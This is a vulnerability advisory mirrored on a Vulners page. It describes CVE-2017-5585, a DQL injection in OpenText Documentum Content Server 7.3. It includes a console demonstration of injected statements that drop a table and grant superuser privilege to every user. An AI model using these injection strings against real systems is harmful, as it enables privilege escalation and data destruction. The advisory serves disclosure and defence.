Lucene search
K

OpenText Documentum Content Server 7.3 SQL Injection

🗓️ 16 Feb 2017 00:00:00Reported by Andrey B. PanfilovType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 216 Views

OpenText Documentum Content Server 7.3 SQL Injection CVE-2017-558

Related
Code
ReporterTitlePublishedViews
Family
CNVD
EMC Documentum Content Server DQL Injection Vulnerability
23 Feb 201700:00
cnvd
CVE
CVE-2014-2520
20 Aug 201410:00
cve
CVE
CVE-2017-5585
22 Feb 201716:00
cve
Cvelist
CVE-2014-2520
20 Aug 201410:00
cvelist
Cvelist
CVE-2017-5585
22 Feb 201716:00
cvelist
Tenable Nessus
EMC Documentum Content Server Multiple Vulnerabilities (ESA-2014-079)
11 Sep 201400:00
nessus
EUVD
EUVD-2014-2556
7 Oct 202500:30
euvd
EUVD
EUVD-2017-14686
7 Oct 202500:30
euvd
NVD
CVE-2014-2520
20 Aug 201411:17
nvd
NVD
CVE-2017-5585
22 Feb 201716:59
nvd
Rows per page
`CVE Identifier: CVE-2017-5585  
Vendor: OpenText  
Affected products: OpenText Documentum Content Server 7.3 (PostgreSQL builds only)  
Researcher: Andrey B. Panfilov  
Severity Rating: CVSS v3 Base Score: 8.8 (AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H)  
Fix: not available  
  
Description:  
  
Previously announced fix for CVE-2014-2520 seems to be incomplete: when PostgreSQL Database is used and return_top_results_row_based config option is set to false, Content Server does not properly restrict DQL hints, which allows remote authenticated users to conduct DQL injection attacks and execute arbitrary DML/DDL statements on the target system via crafted request.   
  
Demonstration:  
  
================================================================8<==============================================================  
Connecting to Server using docbase DCTM_PSQL  
[DM_SESSION_I_SESSION_START]info: "Session 0102987880002902 started for user dm_bof_registry."  
  
  
Connected to Documentum Server running Release 7.3.0000.0214 Linux64.Postgres  
--  
-- Amount of superusers in Documentum repository  
--  
1> select count(*) from dm_user where user_privileges=16  
2> go  
count   
------------  
1  
(1 row affected)  
  
  
--  
-- Demonstration or how Content Server translates DQL query to SQL  
--  
1> select count(*) from dm_user ENABLE (RETURN_RANGE 1 10 '1;drop table dm_user_s;')  
2> go  
[DM_QUERY_E_CURSOR_ERROR]error:   
"A database error has occurred during the creation of a cursor   
(' STATE=2BP01, CODE=7, MSG=ERROR: cannot drop table dm_user_s because other objects depend on it;  
Error while executing the query')."  
  
  
1> exec get_last_sql  
2> go  
result  
-------------------------------------------------------------------------------------------  
  
  
select all CAST(count(*) as int) from dm_user_sp dm_user order by 1;drop table dm_user_s; 1321 Commit 1321 Commit  
  
  
(1 row affected)  
  
  
--  
-- Exploitation  
--  
1> select count(*) from dm_user ENABLE (RETURN_RANGE 1 10 '1;update dm_user_s set user_privileges=16;')  
2> go  
count   
------------  
67  
(1 row affected)  
  
  
--  
-- Amount of superusers in Documentum repository after exploitation  
--  
1> select count(*) from dm_user where user_privileges=16  
2> go  
count   
------------  
67  
(1 row affected)  
1>   
================================================================>8==============================================================  
  
  
  
Disclosure timeline:  
  
2014.02.22: Vulnerability discovered  
2017.01.25: CVE Identifier assigned  
2017.02.01: Vendor contacted, no response  
2017.02.15: Public disclosure  
  
  
__  
Regards,  
Andrey B. Panfilov  
  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation